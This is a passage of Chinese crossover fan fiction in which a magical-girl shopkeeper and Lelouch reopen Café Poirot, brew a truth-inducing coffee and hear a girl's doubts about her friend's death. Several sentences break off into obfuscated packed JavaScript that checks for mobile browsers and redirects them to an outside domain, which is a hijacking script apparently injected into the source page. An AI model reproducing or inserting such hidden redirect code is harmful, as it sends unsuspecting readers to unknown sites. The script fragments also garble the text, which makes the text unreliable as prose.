一壶水烧开的功夫，七羽已经查看完了所有错过的系统信息，他把界面缩小拖到不挡视野的地方，回过神时面前的桌子上已经摆上了一杯冒着热气的白开水。 “呼，怎么说呢……”离开了随时可能有突发情况的副本世界与需要谨言慎行的警视厅，坐在咖啡店沙发里的七羽反而有些无所适从的茫然，他伸手摩挲着咖啡杯的陶瓷把手，放空的目光还没有聚焦，只是换了一个方向，他出神的看着咖啡杯上氤氲的热气，用一种类似梦游的口吻说道，“有一种不真实感呢。” “你表现得像个常年混迹战场却突然被通知退役的退伍老兵。”鲁路修说，“虽然很不想打两份工却只领一份工资，但谁让你现在才是老板？” 鲁路修换了个舒服的姿势，透过上浮的水雾看向圆桌对面：“你可以从头说，反正对我来说，时间总是挥霍不完的。” “嗯……”七羽蹬掉鞋子，盘腿抱住手边的靠枕，他哼出一声鼻音，下意识觉得和朋友剖析自己这种难以启齿的情绪变化很让人难为情，“虽然咱们已经是朋友了没错，但你要让我立即适应这个身份的转变并且推心置腹，好像还有点……窘迫？” “真应该让15天前开口说出‘你愿意和我离开吗’的你看看现在这个还算有社交常识的你。”鲁路修失笑，“你的身体怎么样？” 谈话方向的转变令七羽紧绷的手指尖松弛了下来，“除了有点贵之外，已经完全没有问题了。” 想到他被系统吞掉的退休金，七羽难免有些低落，“失去身体对我来说不是什么大事，只要灵魂水晶完好，我的魔力恢复到正常值后就能重新构建身体。” “比起关心我的身体，现在的当务之急是我们的生存问题。”被鲁路修用一个提问调动好情绪的七羽逐渐找到了谈话节奏，“这边的世界是法治社会，和随便捡捡垃圾、所有物资都能靠武力零元购的末日不一样，在这里，所有的东西都要用钱来购买。” “提前声明，我不太清楚L.L.你们那边的历史，不知道你曾经在位时的世界是否和这边相似，但就我个人而言……”七羽抿唇，“除非我使用有限的资源对自己进行商业方面的特化，否则我能提供给你的帮助相当的有限。” 因为魔法少女的身份，他的常 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“首月80万日元。”这次七羽很快给出了答案，他抬起食指向上指着只有自己能看见的系统任务：“虽然我不了解本世界的经济形势与货币购买力，但任务要求上明确写了是80万日元。” 他又瞄了眼被自己缩小的任务信息—— 「主线任务： 1.一个月内营业额突破80万日元。 任务奖励：咖啡店指定区域扩建*1。 支线任务： 1.出品一款有口皆牌的王牌产品，并得到至少100位顾客的真心喜欢（0/100）。 任务奖励：一辆能够自动导航到指定地点的外卖自行车。 2.打败其他同行，成为米花町最受欢迎的咖啡店（0/58）。 任务奖励：一面很有吸引力的店铺招牌。 3.丰富咖啡店的菜单（0/~）。 任务奖励：咖啡店装潢升级*1（您所提交菜单上的品类数量将决定您店铺装潢的升级额度，为了能够早日实现退休后的财富自由，请您多多丰富可安全食用的品类数目哦！）」 七羽一口气把主线任务和支线任务都给鲁路修念了一遍。 鲁路修倒是没对此提出异议，他不紧不慢的抛出了下一个问题：“那么，老板你有多少启动资金？” 清晨的第一缕阳光照在了冷清的街道上，远处十字路口的红绿灯从待机的黄灯变成了规律切换的红绿灯，有早起晨练的上班族头戴耳机骑着车从咖啡店门口经过，咖啡店的暖光将将能照到人行道与自行车道的交界边缘，被吸引了目光的上班族好奇的扭头看了一眼，发现是一家平平无奇的咖啡店后又很快收回了目光，骑着车远去了。 米花町新的一天开始了，而位于米花町5丁目的咖啡店内，咖啡店新上任的店长和他唯一的员工面面相觑。 “哦，我们马上就会有启动资金了。”退休金全被系统挪用的七羽诚恳道，“考虑到这是个法治社会，你觉得我们从警视厅官网上的通缉犯名单开始怎么样？” 17.波洛咖啡店 沉默，还是沉默。 鲁路修屈指敲了敲圆桌：“所以这就是我们的全部财产？” “原本是有启动资金的，真的。”七羽满眼真诚，“只不过中途出了点岔子。” 从退休金被垃圾系统吞了的那一刻起，七羽就已经开始在心里罗列来钱快的法子了。 当然，理论上他是可以不吃不喝的，但是鲁路修可不行。 “你放心，绑人领赏金这活我熟，不会出岔子的。”七羽显然是深思熟虑过了，“至于我们没有电脑也不是什么大问题，我看楼上是一家侦探事务所，我们可以去‘借用一下’。” 或许是发现了鲁路修眼中的一言难尽，七羽原本笃定的口吻也变得不确定起来，他琢磨了一下，没发现漏洞的他目露疑惑，犹豫再三，还是心虚的补上一句：“L.L.你觉得呢？” 我觉得比起借用电脑看通缉信息，你更应该先看看刑法。 鲁路修无奈的溢出一声叹声，觉得自己真的是任重而道远。 “如果你打算追捕通缉犯赚取警视厅的奖金。”鲁路修跳过中间风险因素的分析，直接丢出绝杀，“一般来说这种官方性质的政府机构都有复杂的审批流程，等你见义勇为的表彰与奖金批下来，少说也要一两个月，很显然，我们等不了这么久。” 七羽：“……” 他埋头在柔软的靠垫里发泄的蹭了蹭，结果被靠垫毛绒绒的套子弄得连着打了两个喷嚏。 “要不我们干脆黑吃黑吧？”七羽皱了皱被蹭红的鼻尖，“我可以魅惑他们，让他们心甘情愿转账。” “然后因为银行账户有来历不明的大额交易，被银行和警视厅同时找上门？” “自愿赠与也不行吗？” “你觉得呢？” 七羽沮丧的垮下肩膀。 为什么我的世界会变成法治社会啊…… 好怀念条条大路通暴富的日子…… 鲁路修看了眼墙上的挂钟，“快五点了，想吃点什么吗？” “……啊？”七羽的反应慢了半拍，他仰头看已经站起身的鲁路修，“我们不是只有冷冻蔬菜水果和面粉吗？” “足够了，虽然没有芝士，但我发现了这个。”鲁路修从吧台下方的藤织零食筐里取出一袋棉花糖晃了晃，“尝尝我做的披萨？” 瘫在沙发上的七羽立刻直起了身子。 他丢开靠枕，踩着鞋子跟在鲁路修身后进了仓库，在鲁路修从冰柜里挑选合适的蔬菜水果时，自觉的拎起对于鲁路修而言显得有点重的面粉。 “你有什么特别喜欢的吗？”鲁路修扫了眼七羽抱着的那袋受了点潮的面粉，确认面粉没有变质不会吃坏肚子后指了指冰柜里面，“有些蔬菜水果不太适合用微波快速解冻，你要是没什么偏好，我就尽量捡着解冻不太影响口感的？” 七羽表示自己不挑食，从末世长大的孩子什么都吃，好说话的样子和某个挑剔的魔女形成了鲜明的对比。 “那你先去解冻，我来和面，刚才我找烧水壶时发现这里还剩半袋酵母，这个天气应该不会失活……”鲁路修把袖子往上挽了两圈，露出带着点肌肉线条的小臂，“你会用微波炉吧？” “理论上……” 正把面粉倒进盆里的鲁路修闻言抬头：“……理论上？” “我有看基尔什塔利亚用过。”七羽研究了一下微波炉简单到傻瓜式的操作面板，先把鲁路修从冰柜里挑出来的玉米粒和豌豆放进去，注意到鲁路修的视线，会错意的七羽解释道，“基尔什塔利亚，我以前合作过的一位御主，他很喜欢烘焙，我们还挺聊得来的。” 盯着七羽看了一会儿，确定他不会炸了微波炉的鲁路修才收回视线。 他靠着感觉往面粉里倒温开水，感觉差不多够了后把烧水壶放到一边，拿起那半袋酵母粉。 “L.L.”七羽盯着微波炉屏幕上的倒计时，“其实在系统界面看到有你的员工信息时我很惊讶。” 微波炉发出“叮”的一声，七羽背对着鲁路修取出装着豌豆和玉米粒的盘子，又把另一盘芒果条和香蕉块放了进去，“我以为你会留在那个世界，你看上去……很爱你的世界。” “嗯。”鲁路修没用量杯，他的目光专注于正在添加的酵母和白糖上，似乎在衡量用量，“我还想你到底要什么时候才会问。” “事实上，我会成为你的员工是为了我自己。” 鲁路修开始揉面，原本七羽还以为到了揉面这一步，被系统盖章为筋力E的鲁路修会叫自己帮忙，但没想到鲁路修的动作居然相当的专业。 当然，七羽其实并不清楚标准的动作应当是怎样的，但鲁路修的动作看上去颇为游刃有余，那团掺了水后黏糊糊的面团在他手里既乖巧又听话，完全没有任性的黏在盆上不肯下来的样子。 “你也知道我那边的情况，这次虽然靠你解决了C世界的问题，但好运不会永远站在我这边，所以我回去和C.C.商量了一下。” 那一团黏糊糊的面团逐渐在鲁路修手下变成光滑圆润的漂亮样子。 “你让我看到了可能性。”鲁路修紧接着往下说，“我觉得以我们世界的力量解决不了的问题，或许在别的世界眼中根本不叫问题。” 鲁路修停了一会，活动了下有点酸的手腕。 微波炉再次发出“叮”的一声。 “我帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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鲁路修总觉得，七羽虽然嘴上说着希望过上悠闲轻松的退休生活，但七羽其实压根不会“生活”。 这很异常。 但鲁路修只是调笑一句，在七羽吃完手上那角披萨后，又自然的递过去一角。 他右手撑着侧脸，歪头看双手捧着披萨吃得认真的七羽问道：“味道怎么样？” “我觉得我们的主打王牌可以是披萨。” “……七羽，不会有人来咖啡店吃披萨的。” “那可不一定。”七羽吃掉手中的最后一口披萨，抽了张纸巾慢条斯理的擦干净手指尖上粘着的棉花糖，“三分钟。” 他竖起干净纤细的手指比了个三：“我要是说对了的话，L.L.你以后就是我的西点师了。” 18.波洛咖啡店 出云晴子已经在米花町5丁目对面的马路边徘徊半小时了。 她每隔几分钟就抬头看看对面黑着灯的事务所，然后又在纠结中收回目光。 一开始她是没注意到位于事务所楼下的咖啡店的，哪怕那栋三层小楼里只有这一层亮着灯。 可当时间来到早上6：40，伴随着原本冷清的街道逐渐热闹起来，一股香甜的气息随着有些料峭的晨风钻进了她的鼻子。 出云晴子吸了两口气，紧绷了一晚上的神经连带着她疲惫的身体似乎也随着这股好闻的气息舒缓了过来，熬了个大夜，连晚饭都没吃就从家里偷跑出来的她这才感觉到胃口正在抗议的痉挛，只套了一件薄衬衣的身体更是已经冻僵到迈不开步子。 要不先进去那家咖啡店坐坐？只要不买东西不刷卡付款，就不会被母亲发现吧？ 但是这家咖啡店并没有挂着“营业中”的牌子…… 脚上踩着毛绒绒兔子拖鞋的出云晴子盯着对面咖啡店玻璃幕墙上印着的“COFFEEポアロ”字样，最后终于鼓足勇气走向马路对面。 “早上好，请问有在…营业中…吗…？” 店门被推开一条缝隙，一名长发乱糟糟、看上去仅有高中生年纪的女孩子怯生生的探进来半张脸。 七羽和鲁路修同时转头，结果女孩子在看清店内的两人后，浅茶色的眼里闪过抹明显的慌乱，扣着店门的手指尖也无意识的用力到发白，那声气弱的询问到了最后，要不是七羽的听觉能力非比寻常，可能都听不清女孩儿到底说了什么。 “当然，要来杯咖啡吗？”七羽丢给鲁路修一个“你看我就说吧”的眼神，站起身去拧了个一次性擦桌布把他们隔壁的圆桌清理了出来。 出云晴子在门外踌躇了一小会儿，当她看清店内的二人后，刚才鼓起来的勇气就像被戳破的气球，飞速的漏气消失了。 她又往里悄悄瞥了一眼。 唔，主要是因为这家店的店员都看着太年轻了，绝对不是因为两位店员都太好看的缘故！ 但里面真得好暖和啊……他们桌子上摆着的披萨闻着也好香啊…… “不爱喝咖啡也没关系，您可以进来随便坐坐暖和一下，您可能也看出来了，我们歇业了一阵子，今天刚开店。”看出来了出云晴子的窘迫，鲁路修率先倒好了热水放在七羽擦干净的圆桌上，体贴的给有些却步的女孩儿留出了单人空间，“我们还要打扫店铺，或许没办法很周到的招待您，您可以自便，想点单也可以随时招呼我们，还请不要拘谨。” “那……那就打扰了。” 听到两位店员不会围着她这个唯一的顾客转，出云晴子反而松了口气，她推开玻璃门，看七羽和鲁路修都没有对自己一身奇怪的行头产生好奇，拧着衣角的手也放松了下来。 她踩着拖鞋往里走，兔子棉拖沾上了地板的灰尘，在外面被寒风吹得炸毛的毛绒绒兔头这下从炸毛白兔子变成了炸毛灰兔子，显得衣衫单薄的小姑娘看上去更可怜了。 由其在她从七羽二人原本坐着的圆桌旁边走过，肚子不受控制的发出“咕”的响声后，被冻僵的出云晴子彻底僵住了，迈出去的脚也停在了半空。 “L.L.烤的披萨很好吃，你要是需要的话……” “这是我们店打算推出的新品，正好要举行试吃活动，不介意的话您能帮我们尝尝吗？如果能提些意见的话，那就更感谢了。” 七羽和鲁路修同时开口，两人的情商在这一刻高下立分。 在鲁路修的眼刀杀过来之前，七羽迅速改口：“没错，咖啡也是，我们新进了一种咖啡豆，打算搭着披萨组成套餐，你先坐，我给你泡一杯尝尝。” 留下鲁路修接待客人，只会冲速溶咖啡的七羽拿着刚开封的咖啡豆站到咖啡机前，对着操作面板上那一连串的参数设定发起了呆。 从开始到放弃的整个过程，只浪费了七羽人生中的十秒。 想到躺在系统里面的任务奖励，七羽果断抛弃了面前的高端咖啡机：“稍等一下，我去搬新的咖啡机。” 在出云晴子格外不安的目光中，七羽淡定的走向仓库，关上门隔绝了外面的视线后打开系统界面，找到尚未领取的任务奖励点击领取。 一台通体黑色的咖啡机凭空出现在七羽面前，要不是七羽眼疾手快的拖住了咖啡机的底座，这台大约得有48公斤重的咖啡机当场就得在“不太灵光”和“老旧”的词条上再加上一条“破损”。 只能说还好是七羽，不然一般人骤然间抱起这么重的玩意，当场手臂和腰椎就得同时报销。 「不太灵光的老旧咖啡机： 能把任何品种的咖啡豆研磨出美妙的香气，如果将顾客的愿望和咖啡豆一同倒入，还能磨出“令人灵光一现”的极品咖啡粉哦！ 至于顾客能不能抓住这一闪而过的灵光，能不能真得实现自己的愿望，老板，我只是一台咖啡机而已啊！磨出来的咖啡粉喝不死人不就得了吗！ （什么？你说我磨不了咖啡豆？你没看我都老到掉漆了吗？还不赶快给我做保养！） （什么？有人告诉你敲一敲就好了？敲不好就再敲一敲？这边建议老板您先敲一敲您不太灵光的脑子哦。）」 被随着咖啡机一同跳出来的长长备注占满视野的七羽：“……” 阿赖耶出品的这咖啡机不会是从达.芬奇的商店里进的货吧？ 总觉得在原本就不靠谱的基础上更不靠谱了呢。 相比店铺原主人高价购置的高端半自动咖啡机，系统出品的咖啡机看上去就逊色多了，不仅没有富有设计感的高科技按钮，甚至连水箱都没有，只有上方敞着的倾倒口大咧咧的杵到人的眼前，简直就是“最高端的食材往往只需要最简单的烹饪方式”这一名言的现实缩写。 但这也方便了压根不会设置咖啡机参数的七羽。 由于不清楚用量，换好咖啡机的七羽直接把一整袋咖啡豆都倒了进去。 五秒钟过去，面前的咖啡机毫无动静。 十秒钟过去，面前的老旧咖啡机毫无动静。 半分钟过去，面前不太灵光的老旧咖啡机毫无动静。 “七羽？”热好了披萨的鲁路修端着餐盘从吧台路过，看着面无表情一拳敲在咖啡机头顶的七羽，不由得发出疑问，“咖啡机坏了？” 一拳下去毫无反应，紧接着又一拳下去的七羽看着开始“嗡嗡”工作的咖啡机微笑抬头：“出了点小问题，可能是刚开机不太稳定，不过现在已经修好了。” 像是在证明七羽所说非虚，研磨细腻的咖啡粉从咖啡机的下方簌簌落下，在提前摆放好的玻璃容器里堆成一个漂亮的三角形。 七羽舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对……对不起……”大颗大颗的泪珠从出云晴子的眼眶里流了出来，她接过鲁路修递过来的纸巾，手忙脚乱的擦着眼泪，“我本来没想会……我本来以为我已经接受了……” 怎么也擦不完的眼泪打湿了她手里的纸巾，最后出云晴子像是放弃了忍耐，猛然趴在咖啡店的圆桌上发出压抑的哭声。 店铺内一时间只剩下女孩儿的抽噎声，直到十分钟后，不知所措的七羽甚至都在思考要不要报警的时候，出云晴子才终于重新抬起头。 眼皮红肿起来的出云晴子尽量露出个不令人担心的笑容，“吓到你们了吧？” “没关系。”鲁路修耐心的迁就着女孩儿脆弱的情绪，“你这么急匆匆的赶到这里，连衣服都来不及换，应该是有很重要是委托想拜托毛利侦探吧？” “……嗯。”发泄出来后，出云晴子看上去反而没那么拘谨了，“昨天，我最好的朋友去世了……所有人，包括警视厅都说她是自杀。” “但我不相信，雾雨绝对不可能自杀，绝对不可能！” 出云晴子以坚定地口吻重复了两遍。 19.波洛咖啡店 面对出云晴子的说辞，虽然七羽的经营计划里并不包含吞并楼上侦探社，独占这栋三层小楼，但本着顾客是喝了他家咖啡才情绪崩溃的，七羽还是打算对此负责。 “如果你不介意的话，你可以跟我们说说看，或许我们能帮上忙。” “谢谢，但那帮大人是不会在意小孩子的胡言乱语的。”出云晴子显然只是把七羽这句话当成了安慰她的说辞，她双手捧着那杯没有勇气再喝第二口的咖啡，深吸了一口气：“雾雨她是我最好的朋友，唯一的朋友！” 这句话似乎带给了她力量，自进店以来一直表现得相当内向敏感的女孩儿挺直了腰板，斯文弱气的声音也变得掷地有声起来。 “我是在一个画展上认识雾雨的。”出云晴子陷入了回忆，“那段日子我一直在吃药，母亲怕我出事，我终日被关在那间什么都没有的卧室里，坐在被封死的窗户前哭、笑，像个真正的精神病一样，幻想着拆掉窗户一跃而下。” “我想我什么都没有了，没有人能够理解我的痛苦，那些我说不出口的噩梦……”出云晴子神色恍惚，在咖啡的Debuff下，那些沉积到腐烂的伤口第一次被宣之于口，“那天，母亲终于同意带我出门了。” “虽然只是去隔壁的美术馆看画展，但我很开心，因为我遇到了自己的救赎。” 出云晴子滔滔不绝的描述着那场盛大的画展，描述雾雨的画作带给她的冲击，描述她是怎样靠着雾雨的画挺过一个又一个寒冷而孤独的夜晚。 鲁路修：“也就是说，你并没有实际见过雾雨。” “没有这个必要。”出云晴子说，“我拜托母亲要到了雾雨的联系方式，我会给雾雨的每一幅画写长长的感悟，告诉她有人因为她的画重新获得了活下去的勇气，雾雨会鼓励我，在我出不去房门、见不到外面世界的日子里，她会把她去过的每一个地方、经历过的每一个故事画下来。” “我不需要见到她，她无时无刻都和我在一起。” 七羽全程安静的听着，期间鲁路修有观察过他的神色，却拿不准七羽到底是在思考，还是仅仅在倾听。 “但在昨天，雾雨拉黑了我。”出云晴子垂下眼睑，女孩儿纤长浓密的睫毛挡住了她的眼神，“她最后发给我的是一副寓意轻松活泼的Q版动物板绘，说是画新作品的间隙画来放松的。” 她取出手机，输入密码后调出来一幅很可爱的猫咪画作给七羽二人看，“你们觉得这像是准备自杀的人会画出来的画作吗？” 的确不像。 七羽在英灵座的时候关系最好的是阿比盖尔，然后就是北斋葛饰了。虽然北斋不止一次强调自己其实不是真正的北斋，但她的浮世绘技艺业已登峰造极，有这么一位浮世绘大师做朋友，七羽自认为他对画作的解读还是有点水准的。 出身不列颠皇室的鲁路修自然也拥有普通水准以上的赏析能力，但他观察的重点却不是画作的寓意，而是这幅板绘的笔触走势。 “有没有时间再往前一点的画？如果不涉及版权保密的话，我想看一看。” 听鲁路修这么说，七羽直觉他可能是发现了什么。 七羽丢过去个眼神：这画有问题？ 鲁路修让他稍安勿躁：不确定，还需要再看看。 “只是看的话没关系的，我都存在相册里了。” 出云晴子没把手机给鲁路修，而是收回手自己操作，打开相册后再次翻转手机屏幕。 手机的界面停留在相册的主界面，在这个界面下只能看到所有图像的缩略图，并不能看清楚图画的细节。 鲁路修盯着出云晴子的相册界面，拧起了眉头。 “所以你发现自己被拉黑了，于是在打电话询问原因的时候得知了雾雨的死讯？”见鲁路修在思考，一直很安静的七羽这才主动开口。 “不，我是看到了新闻。”出云晴子按灭手机屏幕，拿着手机的右手缩回了桌子底下，“昨天雾雨自杀后很快就被报社爆了出来，可能现在那条报道还挂在热搜上。” 出云晴子没有说这部分细节，在她看来，不会有人不关心雾雨的死讯。 才穿回来也并没有手机的七羽借着桌子的遮挡，碰了碰旁边鲁路修的膝盖。 可鲁路修却没搭理他，确切地说，鲁路修走神了。 “看到新闻后，我马上就给雾雨打了电话，接电话的是那个男人，他劝慰我，让我不要太过伤心，让我接受雾雨的死亡，他怎么能那么平静的说出这么可怕的话？他这样的家伙居然是雾雨的未婚夫！”出云晴子声音发颤，“于是我从家里偷跑了出来，我想只要把雾雨的画给警视厅负责这件事的警部看，他们一定会理解的。” 出云晴子的声音渐渐提高：“可他们居然告诉我，这不叫证据！他们还叫我不要胡闹，说他们有好多案子忙，让我不要玩侦探游戏那一套！” 她捏着手机的手攥的紧紧的。 七羽：“所以你就想到来找侦探帮助调查？” “是的，我在警视厅坐着不肯走的时候，一位从里面出来的银发外国人这么建议我，他说我可以去找高中生侦探工藤新一。” 出云晴子看上去生气极了，她在”高中生侦探“这几个读音上加了重音，显然是觉得同样都是高中生，凭什么她拼命跑了一天都没有人肯认真听她说话，反而认为她是在效仿别人玩侦探游戏，所以她没有听那人的话，反而来到了这里。 “银发外国人？”七羽注意到了出云晴子说的这个指向性明确的描述。 不会吧，这么巧的吗？ 如果那两个被自己撞破犯罪现场送进警视厅的黑衣人被保释了，时间上倒是对得上。 等一下，高中生侦探？ 七羽脑海中闪过险些被灌药的黑发高中生。 …… 他不会被卷进了奇怪的事件里面吧？ “是的，不过我没有听从他的建议，我觉得警视厅并不会重视高中生的话，哪怕是高中生侦探。所以我打算聘请正式的侦探，只要能说动警视厅验尸，他们肯定就能发现雾雨不是自杀的。”出云晴子认真地说，“我只是雾雨众多朋友中微不足道的一个，我们甚至没有在现实中见过面，所以哪怕我去警视厅哀求，也没有人会答应我的请求，但毛利侦探就不一样了，我听说他曾经在警视厅工作过，只要能够拜托毛利侦探，警视厅一定会重新考虑雾雨自杀的案子的。” 七羽疑惑：“为什么你会觉得只要验尸就能确定你的朋友不是自杀？” “这还用问吗？因为雾雨就是被谋杀的。” 对话陷入了僵局，偏偏身边的鲁路修没有发言的意思。 “西野大叔，你又重新开门了吗？” 就在这尴尬的氛围下，店门被再次推开了。 “啊，是你……”维持着推门姿势站在店门口的工藤新一看看七羽，又抬头看看咖啡店的招牌，确定自己没走错门后发出惊喜的声音，“原来你就是新的店主啊？” “新一，要先向人家道谢！” “我这不是正准备道谢嘛，小兰你未免也太大力了吧？我的后脑勺可是才经历过一次重击，现在还在隐隐作痛啊！” 工藤新一揉揉被敲痛的后脑勺，他在向身边女孩抱怨自己要脑震荡的时候看上去十分孩子气，和七羽从审讯室外那匆匆一瞥时给人的感觉完全不同。 “你也知道自己应该去医院看脑震荡吗？”毛利兰眉尾一扬，“是谁说自己的脑袋完全没问题，硬是要赖在警视厅的？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616822|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么是赖在！我是去帮忙的！再说我还是受害人，当事人了解一下情况这不是人之常情吗？” 七羽看着就这么杵在店门口，如若无人拌起嘴的两个人，不由得喟叹：“你们的感情真好。” “什……谁会跟这个侦探笨蛋感情好啊……”毛利兰红了脸，她推推挡住门口的新一，“凌晨在游乐园真的是多谢你了，我是新一的同学毛利兰，耽误了你一晚上的时间，给你添麻烦了。” “毛利兰？”七羽注意到了小兰的姓氏，“你就是毛利侦探的……” “毛利侦探是家父。”在外人面前小兰倒是没有揭穿父亲的不靠谱，“以后还请多关照。” 小兰礼貌的鞠了一躬。 “那个，其实我们现在就有个不情之请。”七羽看了看转身趴在沙发上又恢复社恐模样的出云晴子，“出云小姐她……” “她要找毛利大叔是吧？”新一嘴快的抢白了七羽，他早就注意到出云晴子听到小兰自我介绍后的神色了。 “是有委托吗？”小兰用脚后跟踩了新一一脚，提醒他别太失礼，并在后者憋回去的痛呼中看向出云晴子，她爽快的叫出云晴子跟自己一起上楼。 “既然小兰你已经到家了，那我……” “不行，你得去医院！”小兰语气和表情都相当认真，她直直的看着新一的眼睛，“你得去拍个片子，开点药，然后回家睡一觉。” “我们可以明天再邀请七羽做客，感谢他的帮忙。” 小兰歉意的看了一眼七羽，七羽摆摆手，示意自己并不在意。 “好吧……”新一在小兰坚持下还是妥协了，“那明天我和小兰再过来。” ＊ 店里重新安静下来。 不擅长接待客人，也不擅长安慰女孩子的七羽还是觉得和鲁路修两个人独处更自在些。 目送三人离开后，七羽把桌上的餐具都收拾了，那份出云晴子一口未动的披萨被他小心翼翼的放进了冰箱，结果等他出来，鲁路修还支着下巴坐在那里。 七羽敲了敲鲁路修面前的桌子，“话说，L.L.你后来怎么不说话了？” “她让我想到了个故人。”鲁路修没有详细解释，他轻描淡写的带过了曾经的事，“我不太擅长应付这种人。” “那你觉得她朋友到底是自杀还是……” “我们先不提她口中的雾雨画家究竟是自杀还是他杀。”鲁路修说，“刚才她的手机界面你也看到了，上面有显示信号满格，也就是说她的手机是处于可接听状态的，但她在店里坐了这么久，却一通来电都没有。” 七羽恍然大悟。 是哦，如果出云晴子如她所说是瞒着母亲偷跑出来的，那么在她的描述中对她看管森严的母亲怎么可能会没发现自己女儿不见了？ 要知道现在已经不是深夜了，大部分上班族甚至都已经出门通勤了。 以这个为前提，她怎么可能会一通电话都不给女儿打？ 就算是被女儿拉黑了，着急女儿失踪的母亲难道不会借别人的手机？或者干脆用公用电话？ 可出云晴子的手机却一声未响。 “看来你是没发现。”鲁路修从七羽的表情得到了答案，“那你为什么要让她走？” “主要是我突然想到……你说咱们要是以‘能够实现愿望’的咖啡店为卖点，能不能干掉米花町的那58个同行？” “……你终于发现咱们真正的优势赛道了？” 此世唯一的Geass拥有者看向此世唯一的魔法少女。 谢天谢地，七羽这家伙终于开窍了。 他可不想住在厨房里从早到晚的烤披萨。 那可是C.C.才有的专属待遇。 20.波洛咖啡店 七羽的思路一下子就打开了，为此他特意从吧台翻出来了用来给顾客贴留言墙的便签，端端正正的坐在圆桌前，搭着一杯美式咖啡，打算把冒出来的绝妙灵感都记录下来。 “道理我都懂，但是为什么我也得喝你泡的咖啡？” 鲁路修看着马克杯的眼神好似在看什么洪水猛兽。 刚才出云晴子的前车之鉴还历历在目，七羽泡出来的咖啡好闻归好闻，但味道绝对一言难尽，而且最重要的是，七羽的这杯咖啡绝对有大问题。 “因为我的系统没给出Debuff的具体信息，所以想知道Debuff到底是什么就只能自己喝喝看了。” 七羽握着原子笔，在便签上郑重的写下第一行字。 【米花町都市传说速成计划】 接着他淡定的端起马克杯，淡定的喝了一大口，淡定的把杯子放回原处。 随着杯子底部与圆桌接触，发出“啪嗒”一声，全程七羽的表情纹丝不动。 “放心吧。”他说，“系统信息上有写，这咖啡绝对喝不死人，据说这是那台咖啡机最后的倔强。” 鲁路修对七羽的人品信得过，但凡这咖啡可能有问题，七羽都不可能给客人端上桌，但他对七羽的味觉信不过。 毕竟七羽连生物都不是。 “你自己系统出品的东西，还是你来测试吧。”鲁路修目光直接越过自己那一份，“喝完什么感觉？” “没有感觉。”七羽停笔仔细感受了一下，“不怎么好喝，太苦了，我还是喜欢甜的。” 要不是七羽看上去不像是那种恶趣味的人，鲁路修都怀疑七羽是想框他同甘共苦。 “真的，可能是因为我现在的职阶对魔力太高了。”七羽给鲁路修简单科普了一下英灵座里不同于现世的几大工种信息，“再加上我也不算是活人，所以可能这杯咖啡对我不起作用。” 七羽看上去有点苦恼：“要不L.L.你试一下？” 鲁路修：“……那拜托你暂时回避一下。” “可以是可以。”七羽并没有起身离开，显然他这话还有后半句，“但L.L.你知道的，就算我躲进仓库也能听到外面的动静。” “或许你可以变成灵魂水晶？” “不要胡闹，L.L.，那是不可能的。” 自和七羽相遇后，一直表现得成熟稳重的鲁路修烦躁的捏了捏鼻梁骨。 这杯咖啡有多难喝他倒不是很在意，他在意的是这杯咖啡的Debuff可能是对饮用者的情绪进行放大，从而诱导饮用者说出部分心里话。 看出云晴子的反应就知道了。 而鲁路修并不想在七羽面前做心灵剖析。 这也太羞耻了，耻度直逼伊桑当面重现他的中二宣言。 鲁路修：“我觉得咱们也不是非得搞清楚这个Debuff是什么，再说我大概能猜到……” “L.L.，拜托了！”七羽双手合十，“这关系到我的经营规划。” 想想吧，操作简单（只需要“邦邦”两拳）、可轻易量产（系统出品的咖啡机只需要往里倒咖啡豆，甚至没有水箱不用换水）、节能环保（无需耗费魔力，不会污染灵魂水晶，魔法黑科技连电都不用插）。 最主要的，这魔法咖啡闻起来真的很香，放在咖啡壶里煮一天，就能把整个5丁目都浸成咖啡味。 香，带不可思议Buff，还能带给你无与伦比的勇气，无论是在情人节推出，让内向害羞的你向恋人表白，还是让内向害羞的恋人向你表白，都能打出成吨的口碑。 苦于暗恋，不敢告白？来一杯魔法咖啡。 苦于亲子关系，不敢袒露心声？来一杯魔法咖啡。 苦于职场霸凌，不敢揭露事实？来一杯魔法咖啡。 甚至还可以向警视厅推销，只要把茶水间的速溶咖啡换成他们家咖啡店出产的咖啡粉，不论是受过什么专业训练的嫌疑犯都会把你当成掏心掏肺的挚友，别说刀了几个人、怎么刀的，肯定连棺材本藏在哪都能吐露的一干二净。 多么广阔的前景！ 多么光明的未来！ 仿佛已经看见滚滚而进的财源，幻想自己过上混吃等死退休生活的七羽眼睛都亮了起来。 七羽这张脸，再加上这个表情，真的很难让人拒绝。 鲁路修端起咖啡喝了一口。 “怎么样？有没有反应？能不能做咱们店的主打产品？”七羽满眼雀跃，他把自己构思的商业计划和盘托出后问道，“没问题的话，我们可以先联系毛利小姐，侦探事务所就是一个不错的合作商，出云小姐不是说毛利侦探在警视厅很有人脉吗？等他试用后，我们可以拜托他帮忙联系警视厅。” “虽然我很高兴你终于学会了使用自己的脑子，但请你有点常识，你这么干只会把咱们干进警视厅的审讯室。”鲁路修发出“啧”的一声，“当然，如果你并不在意这个，你自然可以随便乱来，或干脆一点，直接接管这个世界，成为这个世界的主宰，享受整个世界的供养。” 鲁路修一副“反正这不是我爱的那个世界，你的世界你怎么折腾我都没所谓”的态度。 “不，我不打算改变现状，这个样子就很好。” 